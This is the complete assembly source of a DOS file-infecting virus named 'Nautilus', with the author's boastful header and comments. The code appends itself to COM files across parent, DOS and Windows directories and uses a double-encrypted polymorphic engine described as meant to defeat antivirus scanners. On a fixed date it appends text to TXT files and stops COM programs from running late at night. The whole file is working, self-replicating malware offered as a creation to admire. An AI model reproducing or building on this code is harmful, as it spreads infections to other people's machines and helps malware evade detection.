; NAME: Nautilus.com ; TYPE: Appending ; ENCRYPTION: Yes ( Double Morphing ) ; INFECTS: COM ; ROI: 7 files per run ( Rate Of Infection ) ; RESIDENT: No ; POLYMORPH: Yes ( Encryption Routines/Calls and Offset Finder Change ) ; STEALTH: No ; DT: Yes ( Directory Transversal ) ; REPAIRABLE: Yes ; PAYLOAD: Yes ; SIZE: 1,824 bytes ; AUTHOR: Sea4 ; This is my finest creation so far. This is a polymorph with 131,072 ; different variations of code, and then if you factor in the different ; XOR/ROR/ROL encryption values, it actually is more than 4*10^11 ( that ; is 400,000,000,000 ). It changes everything about itself that is not ; encrypted, so that the AV scanners have a hard time. It is named ; after the monstrous submarine in the Jules Verne book '20,000 Leagues Under ; the Sea'. It will activate on November 6 of every year, because its a ; significant day in the book. The bomb consists of writing a txt string to ; the end of all TXT files in the current directory, also on that day... no ; *.com files will run from 11pm to midnight and instead will display a text ; string. Some other significant things: ; 1) Will record its infector through the 'InfectedBy' variable ; 2) Saves the DTA so that command parameters passed to an infected ; file are not lost. ; 3) Will infect all read only / hidden / system files and restore attributes ; 4) Will restore DATE/TIME stamps to victem files, and text files ; 5) Will infect Dos and Windows directories + plus any previous directories ; of the one it was run from. And the .\windows\command directory too. ; 6) Will NOT destroy any infected files, and will restore Registers and ; stack pointer before returning control. ; 7) Will NOT infect any files smaller than the Dropper, and none bigger ; than 65,535-3*DropperSize ; 8) Will NOT infect more than 7 files per run ; 9) And it will randomly generate encryption/decryption values ; ; - Sea4 of the CodeBreakers ; start: jmp Virus_start ; Jumps to the start of the virus. This ; will change as the virus is appended to ; different size files. Virus_start: call Delta ; Now we have to get the delta offset. By ; calling Delta we push the address of 'pop bp' ; onto the stack. Delta: pop ax ; Put the address into BP so it can be used. sub ax,offset delta ; Now this takes the distance that Delta is now nop ; Occupy space so that this nop ; takes up 10 bytes xchg bp,ax ; now (BP) and subtracts where it started ; (Offset Delta). Understand?? Hopefully you do! ; Because most files are different sizes, and this ; virus just attaches itself to the end we have ; to find out where it is before it can do anything. Decrypt: ; This is one spot modified by the Morphing mov cx,cryptie-hidden ; Give length of area to decrypt to CX lea si,[bp+hidden] ; Start of area to decrypt mov di,si ; its also the destination for decrypted part mov dl,[bp+DecVal1] ; Stores Decryption Value in dl mov dh,[bp+Xor1val] ; Xor Value to be used in this call nop ; 1 byte to make space for morphing call Cryptie ; Decrypts the virus from here to the decryption ; routine. Hidden: ; Only encrypted once, because this is the decrypt ; call for the second layer. This is modyfied by ; the Morphing. mov cx,DCryptie-Dhidden ; Gets the size for the next area to decrypt lea si,[bp+Dhidden] ; Puts the starting address of the secong layer of ; encryption into DI mov di,si ; Then SI mov dl,[bp+DecVal2] ; Decryption code value mov dh,[bp+Xor2Val] ; Xor Value to be used by this call nop ; 1 byte to take up space for morphing call DCryptie ; Boom! Decrypts the second layer DHidden: ; Area that is hidden with Double encryption ; Here we will write the saved bytes from the beggining of the file, back ; to where they belong, so that we may run the file as normal, after we ; infect some more files of course :) lea di,100h ; We are gonna write the saved bytes to the start ; so we run the program as normal after we infect ; some files. mov cx,03h ; The number of bytes we have to write back to start lea si,[bp+saved] ; Notice the [bp+saved]. It accesses a memory locale ; that would be changed depending on infected file ; size. We just add our Delta offset to find out ; its exact location. rep movsb ; Quickly restores the file so we can run it after ; we get through here. ; Save the DTA NewDTA EQU Buffer+VirL ; It will be after the buffer needed for copying the virus lea di,[bp+NewDTA] ; Puts the DTA after the buffer used by copying ; the virus. mov si,80h ; DTA area that we must save mov cx,2Ah ; Length of DTA = 42d bytes ( 2Ah ) rep movsb ; Puts it in a safe place ; Save the current directory so that control is restored in the ; right place after the virus has run. mov ah,47h ; Function 47h: Get Current Directory xor dx,dx ; 00h in DL = Default Drive lea si,[bp+CurDIR] ; 64 byte buffer for pathname int 21h ; Calls DOS to write current DIR to CurDIR ; Put the name of this file into 'Infectedby' so that ; the victem file knows who infected it :) MyName will be ; set when each file is found. lea si,[bp+MyName] ; Name of the running file lea di,[bp+Infectedby] ; Place where the victems will see their infector mov cx,0Dh ; 0Dh bytes, length of name rep movsb ; Moves it by bytes pusha call InfectDir ; Umm, maybe it infects the directory, I am not ; sure though. popa Chg_Dot_Dot: ; Go to '..' all the way to root dir infecting along the way mov ah,3Bh ; Function 3Bh: Change Directory lea dx,[bp+dot_dot] ; Dot_Dot mask int 21h ; Calls DOS to go back 1 directory jc Go_DOS ; Change Directory to DOS because it has a few ; frequently used COM files pusha call InfectDir ; Umm, maybe it infects the directory, I am not ; sure though. popa jmp Chg_Dot_Dot ; Do again, till we hit root directory Go_DOS: ; Go to DOS mov ah,3Bh ; Function 3Bh: Change Directory lea dx,[bp+dos_mask] ; DOS int 21h ; Calls DOS to go back 1 directory jc Windows pusha call InfectDir ; Umm, maybe it infects the directory, I am not ; sure though. pusha Windows: ; Infect Windows DIR ; Got to move back to ROOT mov ah,3Bh ; Function 3Bh: Change Directory lea dx,[bp+dot_dot] ; Dot_Dot mask int 21h ; Calls DOS to go back 1 directory mov ah,3Bh ; Function 3Bh: Change Directory lea dx,[bp+win_mask] ; win mask int 21h ; Open windows DIR jnc InfectWin jmp WinCom InfectWin: pusha call InfectDir ; Umm, maybe it infects the directory, I am not ; sure though. popa WinCom: ; Infect .\windows\command mov ah,3Bh ; Function 3Bh: Change Directory lea dx,[bp+win_com] ; command directory mask int 21h ; Open command directory jnc InfWinCom jmp BadStuff InfWinCom: pusha call InfectDir ; Umm, maybe it infects the directory, I am not ; sure though. popa jmp BadStuff SavedDTAs EQU NewDTA+2Ah InfectDir: mov ax,4E00h ; Function 4Eh: Find First Findnext: ; Findnext jmp point lea dx,[bp+filemask] ; Gets the filemask = '*.com',0 mov cx,07h ; Find all file types int 21h ; Tells DOS to find the *.com files jnc Open ; Found one, now open it! ret ; NONE left, lets jump back to changing directories Open: ; Open/Encrypt/Infect routines ; Now we have to retrieve the name of the file to be infected ; so that we may put it into the MyName variable. The reason ; it is done this way is to delete extra characters that may ; have been left from longer filenames. :) mov si,9Eh ; ASCIZ filename lea di,[bp+MyName] ; Name of the file to be infected mov cx,0Dh ; 0Dh (13d) bytes, name length GetName: lodsb ; Gets the next char of name cmp al,00h ; Checks to see if the name is done je DelRest ; If the name is done we blank out the other chars stosb ; Store the character into MyName loop GetName ; Gets the whole name this way Delrest: rep stosb ; Pushes 00h into the remaining chars if the filename ; is done before 13 chars ; Save attributes, then set them to 0, so we can ; modify this file. They are restored at 'Close' lea si,[95h] ; Start of file attributes mov cx,09h ; CX is enough to read: Attrib/Time/Date/Size lea di,[bp+s_attr] ; Place to save all the file attribs rep movsb ; Moves em to their new home ( to be restore later ) ; Set attrib to 0 lea dx,[9Eh] ; Filename in DTA mov ax,4301h ; Function 4301h: Set File Attributes xor cx,cx ; Clear file attribs int 21h ; Calls DOS to do 'our dirty work' mov ax,3D02h ; Function 3Dh: Open File ; 02 = Read/Write access mov dx,9Eh ; Location of ASCIZ filename int 21h ; Calls DOS to open the file, with Read/Write access ; so that we can write the virus to it :) xchg bx,ax ; Gives the file handle from AX to BX in one byte. mov ah,3Fh ; Function 3Fh: Read from file mov cx,03h ; We are gonna read the first 3 bytes. CX = # of bytes ; to read from file. lea dx,[bp+saved] ; The location for the bytes to be stored when read. int 21h ; Calls DOS to load the first 3 bytes of Victem file ; into the 'Saved' location so that it may run correctly. mov al,0E9h ; Checks to see if it was a jump instruction cmp al,[bp+saved] ; by matching E9h to the first byte of the file. jne Uninfected ; It can't be infected by this virus because the file ; has NO jmp at its beggining. mov ax,[80h+1Ah] ; Gets filesize sub ax,Virl+3 ; subtracts JMP size and Virus Size cmp ax,[bp+saved+1] ; See if the file is infected by THIS virus jne Uninfected Close: jmp Infected Uninfected: ; Check if file meets requirements for infection mov ax,[9Ch] ; Get file offset size cmp ax,0 ; see if its = 0 jnz Close ; If the file is larger than 64k we can't infect it, ; plus it might command.com or some other important file. Filesize EQU Buffer-Start mov ax,[80h+1Ah] ; Gets the filesize of the target file cmp ax,FileSize ; If file is smaller than the 1st Gen. file, it is safe jc Close ; so we jump to close cmp ax,0FFFFh-(3*FileSize) ; If file is larger than AX jnc Close ; Errors may occur sub ax,03h ; Takes into account the length of the JMP instruction mov [bp+jumpto],ax ; Puts the location to jmp to as the ; 2nd,3rd bytes of the buffer. ; Call Morph, changes the encryption routines and calls push bx ; Saves BX call Morph ; Calls the morphing routine pop bx ; Retrieves BX mov ax,4200h ; Function 42h: Move File Pointer ; 00h = beggining, after the read the FP moves 3 bytes xor cx,cx ; 0 = CX xor dx,dx ; 0 = DX int 21h ; Calls DOS, this is explained a bit more with the ; next "Move File Pointer" instruction mov ah,40h ; Function 40h: Write to file mov cx,03 ; Number of bytes to write. CX = # of bytes lea dx,[bp+jumping]; Start at buffer area, this will write the jump ; instruction to the beggining of the victem file. int 21h ; Blammo! This is the jmp that skips over the normal ; file and heads write to the virus code. INT 21h tells ; DOS to write those three bytes. mov ax,4202h ; Function 42h: Move File pointer ; 02 = End of file ( EOF ) xor cx,cx ; DX:CX is the offset from the File pointer location, xor dx,dx ; since we want to be exactly at the EOF we clear DX:CX int 21h ; Calls DOS to move the file pointer ; Write the Virus to memory VirL EQU Ende-Virus_Start ; Length of Virus except jmp at beggining lea si,[bp+Virus_Start] ; Start of virus lea di,[bp+buffer] ; Area that it will be stored in mem mov cx,VirL ; Length of it rep movsb ; Now we have to modify it so that it is encrypted DHiddenL EQU DCryptie-DHidden ; Length of area to encrypt that will ; end up double encrypted. HiddenL EQU Cryptie-Hidden ; Length of single encrypt area DHBufStart EQU DHidden-Virus_Start+Buffer ; Start of DHidden in buffer HBufStart EQU Hidden-Virus_Start+Buffer ; Start of Hidden in Buffer ; More ways to clear up the clutter ; Here we encrypt All but the second and first Decrypt calls, and the ; decryption routines that go with em. lea si,[bp+DHBufStart] ; Time to encrypt the first area that will then mov di,si ; be encrypted again, giving us our Doubly Encrypted ; area. mov cx,DHiddenL ; Length of this area mov dl,[bp+EncVal2] ; ROL/ROR value mov dh,[bp+Xor2Val] ; Xor value call DCryptie ; Calls the Second Encryption routine ; because this will become decrypted by the first ; when infected files are run. ; Now we encrypt from Hidden to Cryptie ( while encrypting DHidden to ; DCryptie for the second time ) which makes this double encrypting. lea si,[bp+HBufStart] ; Start of Hidden area in buffer mov di,si ; You should know this one by now. mov dl,[bp+EncVal1] ; ROR/ROL value mov dh,[bp+Xor1Val] ; Xor value mov cx,HiddenL ; Length of the area call Cryptie ; Uhoh, now its encrypted and the AV software won't ; find it. Now what are we gonna do? ; ( Being sarcastic of course! ) ; So we have the virus prepared for infecting :) mov ah,40h ; Function 40h: Write to file ( everyone's fave ) lea dx,[bp+buffer] ; Start of virus in mem buffer mov cx,VirL ; Length of it int 21h ; Calls DOS to write this :) inc byte ptr [bp+victems] ; Increase victem # Infected: ; A place to jump in case the file is already infected mov ax,5701h ; Function 5701h: Set File's Last - Written Date and Time mov dx,word ptr [bp+s_date] ; DX = Date mov cx,word ptr [bp+s_time] ; CX = Time int 21h ; More Dirty work for DOS mov ah,3Eh ; Function 3Eh: Close File int 21h ; Calls DOS to close up the file. mov ax,4301h ; Function 4301h: Set File Attributes lea dx,[9Eh] ; Filename in DTA xor cx,cx ; Clears CX mov cl,byte ptr [bp+s_attr] ; Puts the attributes into CL int 21h ; Isn't DOS just sooooo helpful. cmp byte ptr [bp+Victems],07h ; Check to see if 7 files have been infected. je BadStuff ; Place where the bomb will be dropped mov ax,4F00h ; Function 4Fh: Find next jmp Findnext Badstuff: ; Here is where the payload goes ; This is a real simple payload ; It will go off on the day that the Abraham Lincoln was rammed by the ; Nautilus submarine in the book 20,000 Leagues Under The Sea. ; It will then print a text string to the end of all text files in the ; current directory, and display a message and no *.com files will run ; from 11pm to midnight because that is around the time of day it happened ; ( in the book at least ), its fiction in case you were wondering Go_Root: ; Takes us to root mov ah,3Bh ; Function 3Bh: Change Directory lea dx,[bp+dot_dot] ; '..' back a directory int 21h ; Hey DOS, lets go to the ROOT Directory jnc Go_root ; Loops til we hit the root ; Now We head back to the directory we started in by getting the ; CurDIR variable from its buffer mov ah,3Bh ; Function 3Bh: Change Directory lea dx,[bp+CurDIR] ; Saved starting directory int 21h jnc DropBomb ; It was successful jmp Exit ; For whatever reason we were not able to get there ; so we should exit DropBomb: mov ah,04h ; Function 04h: Get Real Time Clock ( Date ) int 1Ah ; INT 1Ah BIOS Time interrupt ; Gets the date and puts the value into the following ; registers. ; CH = Century ; CL = Year ; DH = Month ; DL = Day cmp dx,1106h ; The day that the Nautilus rammed Professor Arronax's ship je WriteText ; Only activate on this day jmp Exit ; Otherwise get out of here WriteText: mov ah,4Eh ; Function 4Eh: Find First FindNextText: lea dx,[bp+textmask] ; Gets the text file mask mov cx,07h ; all file attributes int 21h ; Tells DOS to get us the file jnc OpenText jmp FindTime OpenText: lea si,[95h] ; Start of file attributes mov cx,09h ; CX is enough to read: Attrib/Time/Date/Size lea di,[bp+s_attr] ; Place to save all the file attribs rep movsb ; Moves em to their new home ( to be restore later ) ; Set attrib to 0 lea dx,[9Eh] ; Filename in DTA mov ax,4301h ; Function 4301h: Set File Attributes xor cx,cx ; Clear file attribs int 21h ; Calls DOS to do 'our dirty work' mov ax,3D01h ; Function 3Dh: Open File ; 01h = for write access mov dx,9Eh ; ASCIZ Filename in DTA int 21h ; Calls DOS to tear that baby open! xchg bx,ax ; Puts file handle in BX mov ax,4202h ; Function 42h: Move File Pointer ; 02 = End Of File (EOF) xor cx,cx ; 0 xor dx,dx ; 0 int 21h ; Once we get to the end of thew file we can write our ; string to it, without damaging anything mov ah,40h ; Function 40h: Write to file lea dx,[bp+line1] ; Puts the string start address into DX mov cx,Textlen ; Puts the text length into CX int 21h ; Writes that baby mov ax,5701h ; Function 5701h: Set File's Last - Written Date and Time mov dx,word ptr [bp+s_date] ; DX = Date mov cx,word ptr [bp+s_time] ; CX = Time int 21h ; More Dirty work for DOS mov ah,3Eh ; Function 3Eh: Close File int 21h ; Calls DOS to close up the file. mov ax,4301h ; Function 4301h: Set File Attributes lea dx,[9Eh] ; Filename in DTA xor cx,cx ; Clears CX mov cl,byte ptr [bp+s_attr] ; Puts the attributes into CL int 21h ; Isn't DOS just sooooo helpful. mov ax,4F00h ; Find next jmp FindNextText ; Gets the next one FindTime: mov ah,02h ; Function 02h: Get Real Time Clock ( Time ) int 1Ah ; Retrieves the time and puts the values into the ; following registers ; CH = Hour ; CL = Minutes ; DH = Seconds ; DL = Daylight Savings Flag ( 0h = standard time; 1h = daylight time ) cmp cx,2300h ; 11:00pm ( about the time it was rammed ) jb exit ; If before 11 we are safe, otherwise ... mov ah,09h ; Function 09h: Print String Standard Output lea dx,[bp+Message1] ; Location of string int 21h ; Calls DOS int 20h ; Close Program message1 db 'Thus ends the voyage under the seas.','$' exit: ; Lets set the DTA back to what it should be so that the program can ; can use any parameters passed to it. lea si,[bp+NewDTA] ; Area that DTA was saved mov di,80h ; Area where it was mov cx,2Ah ; Length of DTA rep movsb ; Put it back ; Now we are gonna get outta here, first we should cover up any stuff ; that might show up in a mem dump, so that if anyone looks, all they ; see is garbage. HideEnde EQU 2Ah+VirL+Buffer-Ende lea si,[bp+Ende] ; We are gonna encrypt from Ende to end of DTA mov di,si ; So it is hidden along with the Virus itself mov dl,[bp+EncVal2] ; Rotate value mov dh,[bp+Xor2Val] ; Xor value mov cx,HideEnde ; Length of buffer area used + DTA area :) call DCryptie ; Calls 2nd encrypt routine lea di,[bp+EndRet] ; Loads start of routine that returns control mov si,di ; to host program, into DI/SI mov dl,[bp+EncVal1] ; Gets encryption value for DL mov dh,[bp+Xor1Val] ; Gets XOR value for DH mov cx,DoneRet-EndRet ; length to encrypt call Cryptie ; Calls the encryptor. We encrypt this so it is the ; only thing left after the next call. Understand? lea di,[bp+Virus_Start] ; Gets the location of the Virus_start and hides ; everything but the encryption itself. ( and the ; kitchen sink, of course ) mov si,di ; and put it into DI/SI so we can hide the virus ; from the host program. mov dl,[bp+DecVal1] ; Rotate value mov dh,[bp+Xor1Val] ; Xor value mov cx,Cryptie-Virus_start ; Gives length of area to hide into CX call cryptie ; Calls the encryption loop to hide it EndRet: ; Jumps to the start of the actual program. ; But first, lets reset all registers so no ; problems are caused by a program assuming 0 ; registers. xor sp,sp ; resets the stack pointer push sp ; and pushes 0 onto the stack xor di,di xor si,si ;xor cx,cx ; CX is 0 by the call to Cryptie xor ax,ax xor bx,bx xor dx,dx xor bp,bp push 100h ; Puts 100h on stack ret ; Jumps to location on stack ( 100h ) DoneRet: jumping db 0E9h ; E9 = jmp jumpto db 0,0 ; Place for the new address ; Dec/Enc values are here for the Morphing aspect, so that ; whatever type of decryption/encryption is used the values will ; always be found here. Morph: ; This will move different ( preset ) Encryption ; Routines and Calls into their respective spots. ; It will also Change the Delta offset thing, because ; that is a dead giveaway to the virus and is just dying ; to become a scanstring. ; Get New Enc/Dec Values in al,40h ; Get random number from port 40h and al,7h ; Masks out all but first 3 bits jnz NotZero ; If its not zero, we are good. inc al ; Makes any 0 = 1 NotZero: mov [bp+EncVal1],al ; Saves it as the EncVal1 neg ax ; gets the opposite of AL and al,7h ; Makes EncVal1 + DecVal1 = 8 mov [bp+DecVal1],al ; Saves the DecVal1 in al,40h ; Get random number from port 40h and al,7h ; Masks out all but first 3 bits jnz NotZero2 ; If its not zero, we are good. inc al ; Makes any 0 = 1 NotZero2: mov [bp+EncVal2],al ; Saves it as the EncVal2 neg ax ; gets the opposite of AL and al,7h ; Makes EncVal2 + DecVal2 = 8 mov [bp+DecVal2],al ; Saves the DecVal2 ; Get XorValues Xoragain: in al,40h ; Random number from port 40h xchg bx,ax ; saves it into BL in al,40h ; Gets another cmp al,bl ; Makes sure they are not the same ; because they might decrypt each other ; in Cryptie and DCryptie, depending on ; how they turn out. jz XorAgain ; If they are equal, try again mov [bp+Xor1Val],al ; Save it as Xor1Val mov [bp+Xor2Val],bl ; Save it as Xor2Val ; Now, the above got us some values to use, all we have to do, is ; modify how they are used. For the decrypt calls, and routines, we just ; randomly choose from a list of possibles. xor dx,dx GetDelta: ; Get a possible Delta Offset Thingy mov dl,0Ah lea di,[bp+Virus_Start] lea si,[bp+PosDelta] in al,40h ; Gets Random Number and al,7h ; Makes it 7 or less imul dl ; Multiplies AL by 0Ah and stores in AX add si,ax ; Adds AX to SI so we can get one of the possible ; morphs for getting the delta offset. mov cx,dx ; Length of Delta Offset Morphs rep movsb ; MORPHING TIME!! GetCC: ; Get a possible Call Cryptie mov dl,12h ; Size of Call Cryptie Morphs lea di,[bp+Decrypt] lea si,[bp+PosCC] in al,40h ; Gets Random Number and al,7h ; Makes it 7 or less imul dl ; Multiplies AL by 12h and stores in AX add si,ax ; Adds AX to SI so we can get one of the possible ; morphs for calling Cryptie. mov cx,dx ; Length of Call Cryptie Morphs rep movsb ; MORPHING TIME!! GetCDC: ; Get one of the possible Call DCryptie's mov dl,12h ; Size of Call DCryptie Morphs lea di,[bp+Hidden] lea si,[bp+PosCDC] in al,40h ; Gets Random Number and al,7h ; Makes it 7 or less imul dl ; Multiplies AL by 12h and stores in AX add si,ax ; Adds AX to SI so we can get one of the possible ; morphs for calling DCryptie. mov cx,dx ; Length of Call DCryptie Morphs rep movsb ; MORPHING TIME!! GetCR: ; Get 2 new encryption routines mov dx,0Eh ; Size of each possible encryption routine lea di,[bp+MorphD1] ; Start of first encryption routine to change lea si,[bp+PosCR] ; Start of possible variants in al,40h ; Gets a random number and al,0Fh ; Makes it 0Fh or less imul dl ; Multiplies 0Eh by the Random # and stores in AX add si,ax ; Gets the offset of encryption variant and puts ; it into the SI mov cx,dx ; Gives count of encryption length to CX rep movsb ; Quickly does the first of two mov dx,0Eh ; Size of each possible encryption routine lea di,[bp+MorphD2] ; Start of second encryption routine to change lea si,[bp+PosCR] ; Start of possible variants in al,40h ; Gets a random number and al,0Fh ; Makes it 0Fh or less imul dl ; Multiplies 0Eh by the Random # and stores in AX add si,ax ; Gets the offset of encryption variant and puts ; it into the SI mov cx,dx ; Gives count of encryption length to CX rep movsb ; Quickly does the second one ret ; Goes back to the spot that called here ; Below is a Database of possible morphs ; The same results are reached by using any of these morphs ; they are just there to fool AV software companies. PosDelta: ; Possible Delta Routines, size 10 bytes db 0E8,00,00 ; 3 ; Call Delta sti ; 1 pop bp ; 1 xchg bx,ax ; 1 sub bp,offset delta ; 4 ; = 10 PosDelta2: sti ; 1 clc ; 1 db 0E8h,0,0 ; 3 pop ax ; 1 sub ax,offset delta +2 ; 3 xchg bp,ax ; 1 ; = 10 PosDelta3: cli ; 1 db 0E8h,0,0 ; 3 pop ax ; 1 sti ; 1 sub ax,offset delta+1 ; 3 xchg bp,ax ; 1 ; = 10 PosDelta4: cld ; 1 db 0E8h,0,0 ; 3 pop bp ; 1 clc ; 1 sub bp,offset delta+1 ; 4 ; = 10 PosDelta5: db 0E8h,0,0 ; 3 pop bx ; 1 sti ; 1 xchg bx,ax ; 1 sub ax,offset delta ; 3 xchg bp,ax ; 1 ; = 10 PosDelta6: sti ; 1 nop ; 1 db 0E8h,0,0 ; 3 pop bp ; 1 sub bp,offset delta+2 ; 4 ; = 10 PosDelta7: db 0E8h,0,0 ; 3 pop ax ; 1 xchg bx,ax ; 1 xchg bx,ax ; 1 sub ax,offset delta ; 3 xchg bp,ax ; 1 ; = 10 PosDelta8: db 0E8h,0,0 ; 3 nop ; 1 pop ax ; 1 nop ; 1 sub ax,offset delta ; 3 xchg bp,ax ; 1 ; = 10 PosCC: ; Possible Call Cryptie, size 12h ( 18d ) bytes mov cx,cryptie-hidden ; 3 lea si,[bp+hidden] ; 4 nop ; 1 mov di,si ; 2 mov dl,[bp+DecVal1] ; 4 mov dh,[bp+Xor1val] ; 4 ; = 18 PosCC2: lea di,[bp+hidden] ; 4 nop ; 1 mov dl,[bp+DecVal1] ; 4 mov cx,cryptie-hidden ; 3 mov dh,[bp+Xor1val] ; 4 mov si,di ; 2 ; = 18 PosCC3: sti ; 1 lea si,[bp+hidden] ; 4 mov dh,[bp+Xor1val] ; 4 mov di,si ; 2 mov dl,[bp+DecVal1] ; 4 mov cx,cryptie-hidden ; 3 ; = 18 PosCC4: lea di,[bp+hidden] ; 4 mov cx,cryptie-hidden ; 3 clc ; 1 mov si,di ; 2 mov dh,[bp+Xor1val] ; 4 mov dl,[bp+DecVal1] ; 4 ; = 18 PosCC5: mov dl,[bp+DecVal1] ; 4 mov dh,[bp+Xor1val] ; 4 mov cx,cryptie-hidden ; 3 lea si,[bp+hidden] ; 4 mov di,si ; 2 nop ; 1 ; = 18 PosCC6: mov dh,[bp+Xor1val] ; 4 lea si,[bp+hidden] ; 4 cld ; 1 mov cx,cryptie-hidden ; 3 mov di,si ; 2 mov dl,[bp+DecVal1] ; 4 ; = 18 PosCC7: mov cx,cryptie-hidden ; 3 nop ; 1 mov dl,[bp+DecVal1] ; 4 mov dh,[bp+Xor1val] ; 4 lea di,[bp+hidden] ; 4 mov si,di ; 2 ; = 18 PosCC8: mov dl,[bp+DecVal1] ; 4 lea si,[bp+hidden] ; 4 mov cx,cryptie-hidden ; 3 stc ; 1 mov di,si ; 2 mov dh,[bp+Xor1val] ; 4 ; = 18 PosCDC: ; Possible Call DCryptie, size 12h ( 18d ) bytes mov cx,DCryptie-Dhidden ; 3 lea si,[bp+Dhidden] ; 4 mov di,si ; 2 nop ; 1 mov dl,[bp+DecVal2] ; 4 mov dh,[bp+Xor2Val] ; 4 ; = 18 PosCDC2: lea si,[bp+Dhidden] ; 4 mov dh,[bp+Xor2Val] ; 4 mov di,si ; 2 clc ; 1 mov cx,DCryptie-Dhidden ; 3 mov dl,[bp+DecVal2] ; 4 ; = 18 PosCDC3: mov dh,[bp+Xor2Val] ; 4 mov dl,[bp+DecVal2] ; 4 lea si,[bp+Dhidden] ; 4 nop ; 1 mov di,si ; 2 mov cx,DCryptie-Dhidden ; 3 ; = 18 PosCDC4: lea di,[bp+Dhidden] ; 4 sti ; 1 mov dl,[bp+DecVal2] ; 4 mov si,di ; 2 mov cx,DCryptie-Dhidden ; 3 mov dh,[bp+Xor2Val] ; 4 ; = 18 PosCDC5: cld ; 1 lea si,[bp+Dhidden] ; 4 mov cx,DCryptie-Dhidden ; 3 mov di,si ; 2 mov dh,[bp+Xor2Val] ; 4 mov dl,[bp+DecVal2] ; 4 ; = 18 PosCDC6: lea si,[bp+Dhidden] ; 4 mov cx,DCryptie-Dhidden ; 3 mov dl,[bp+DecVal2] ; 4 nop ; 1 mov dh,[bp+Xor2Val] ; 4 mov di,si ; 2 ; = 18 PosCDC7: lea di,[bp+Dhidden] ; 4 mov cx,DCryptie-Dhidden ; 3 mov si,di ; 2 mov dh,[bp+Xor2Val] ; 4 cld ; 1 mov dl,[bp+DecVal2] ; 4 ; = 18 PosCDC8: mov dh,[bp+Xor2Val] ; 4 mov dl,[bp+DecVal2] ; 4 nop ; 1 lea di,[bp+Dhidden] ; 4 mov si,di ; 2 mov cx,DCryptie-Dhidden ; 3 ; = 18 PosCR: ; Possible Cryptie Routines, each 14 bytes neg al ; 2 xor al,13h ; 2 not al ; 2 rol al,cl ; 2 not al ; 2 xor al,13h ; 2 neg al ; 2 ; = 14 Pos2CR: ; Possible DCryptie Routines, each 14 bytes xor al,72h ; 2 neg al ; 2 rol al,cl ; 2 not al ; 2 rol al,cl ; 2 neg al ; 2 xor al,72h ; 2 ; = 14 PosCR2: neg al ; 2 sti ; 1 rol al,cl ; 2 nop ; 1 clc ; 1 neg al ; 2 rol al,cl ; 2 cld ; 1 neg al ; 2 ; = 14 Pos2CR2: rol al,cl ; 2 sti ; 1 xor al,0C4h ; 2 ror al,cl ; 2 stc ; 1 nop ; 1 xor al,0C4h ; 2 clc ; 1 rol al,cl ; 2 ; = 14 PosCR3: not al ; 2 xor al,0AAh ; 2 stc ; 1 nop ; 1 clc ; 1 neg al ; 2 xor al,0AAh ; 2 sti ; 1 not al ; 2 ; = 14 Pos2CR3: ror al,cl ; 2 cmp al,cl ; 2 stc ; 1 xor al,ch ; 2 ror al,cl ; 2 xor al,ch ; 2 cld ; 1 ror al,cl ; 2 ; = 14 PosCR4: rol al,cl ; 2 neg al ; 2 nop ; 1 xor al,55h ; 2 sti ; 1 neg al ; 2 std ; 1 rol al,cl ; 2 cld ; 1 ; = 14 Pos2CR4: cmp al,12h ; 2 jne Fakejmp ; 2 Fakejmp: sti ; 1 cld ; 1 rol al,cl ; 2 nop ; 1 nop ; 1 xor al,ch ; 2 rol al,cl ; 2 ; = 14 PosCR5: cld ; 1 ror al,cl ; 2 xor al,ch ; 2 not al ; 2 nop ; 1 nop ; 1 xor al,ch ; 2 nop ; 1 ror al,cl ; 2 ; = 14 Pos2CR5: ror al,cl ; 2 xor al,ch ; 2 rol al,cl ; 2 not al ; 2 rol al,cl ; 2 xor al,ch ; 2 ror al,cl ; 2 ; = 14 PosCR6: xor al,ch ; 2 nop ; 1 xchg bx,dx ; 2 nop ; 1 nop ; 1 ror al,cl ; 2 stc ; 1 xor al,ch ; 2 xchg bx,dx ; 2 ; = 14 Pos2CR6: rol al,cl ; 2 xor al,ch ; 2 nop ; 1 xor al,0D8h ; 2 cmp al,4h ; 2 xor al,ch ; 2 sti ; 1 rol al,cl ; 2 ; = 14 PosCR7: xor al,ch ; 2 cmp al,4h ; 2 jne FakeJmp2 ; 2 stc ; 1 FakeJmp2: sti ; 1 stc ; 1 cld ; 1 xchg bx,ax ; 1 xchg bx,ax ; 1 stc ; 1 nop ; 1 ; = 14 Pos2CR7: rol al,cl ; 2 xor al,ch ; 2 rol al,cl ; 2 not al ; 2 rol al,cl ; 2 xor al,ch ; 2 rol al,cl ; 2 ; = 14 PosCR8: xor al,ch ; 2 rol al,cl ; 2 xor al,ch ; 2 not al ; 2 xor al,ch ; 2 rol al,cl ; 2 xor al,ch ; 2 ; = 14 Pos2CR8: xor al,ch ; 2 rol al,cl ; 2 xor al,0C7h ; 2 neg al ; 2 xor al,0C7h ; 2 rol al,cl ; 2 xor al,ch ; 2 ; = 14 EndMorphs: filemask db '*.com',0 ; The type of files we are gonna infect. textmask db '*.txt',0 ; Text files to find when bomb goes off dos_mask db 'dos',0 ; Mask for finding DOS win_mask db 'windows',0 ; Mask for finding Windows win_com db 'command',0 ; Mask for finding .\windows\command dot_dot db '..',0 ; Mask for previous directory. saved db 0CDh,020h,0h ; This is the storage space for the first ; three bytes from the infected file. CD20 is ; the 'int 20h' instruction used to exit. Infectedby db 'Sea4 ' ; Place to keep virus lineage MyName db 'Nautilus.com ' ; Current infected file Virus_Name db '[Nautilus]',0 Author db 'Sea4, Codebreakers',0 textlen EQU DCryptie-Line1 ; Below is the first sentence of the Jules Verne classic from whence I got ; the name of this virus. "Twenty Thousand Leagues Under the Sea" line1 db 'The year 1866 was made notable by a series of bizarre',CR,LF line2 db 'events, a chain of mysterious phenomena which have never',CR,LF line3 db 'been explained, that I am sure no one has forgotten.',CR,LF CR EQU 0Dh LF EQU 0Ah ; Carrige Return Line Feed ( next line ) DCryptie: lodsb ; Gets next byte Doomed for De/Encryption xchg dx,cx ; Saves the count while using the DE/ENcrypt value MorphD1: db 14 dup 90h ; The encryption instructions will be at most ; 14 bytes long. xchg dx,cx ; Returns the count value to CX stosb ; Puts the encrypted byte into mem loop DCryptie ; Does all the bytes specified by CX ret ; Jumps back to the caller Xor2Val db 00h ; Xor value to be used in DCryptie DecVal2 db 00h ; Decrypt value 2 EncVal2 db 00h ; Encrypt value 2 Cryptie: lodsb ; Gets the next byte to De/Encrypt xchg dx,cx MorphD2: db 14 dup 90h ; The encryption instructions will be at most ; 14 bytes long. xchg dx,cx stosb ; Plugs AL back into mem loop Cryptie ; Does all the bytes specified by CX ret ; Jumps back to where it was called Xor1Val db 00h ; 